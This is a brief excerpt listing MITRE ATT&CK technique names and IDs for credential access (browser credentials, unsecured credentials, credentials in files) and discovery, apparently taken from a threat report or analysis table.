Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery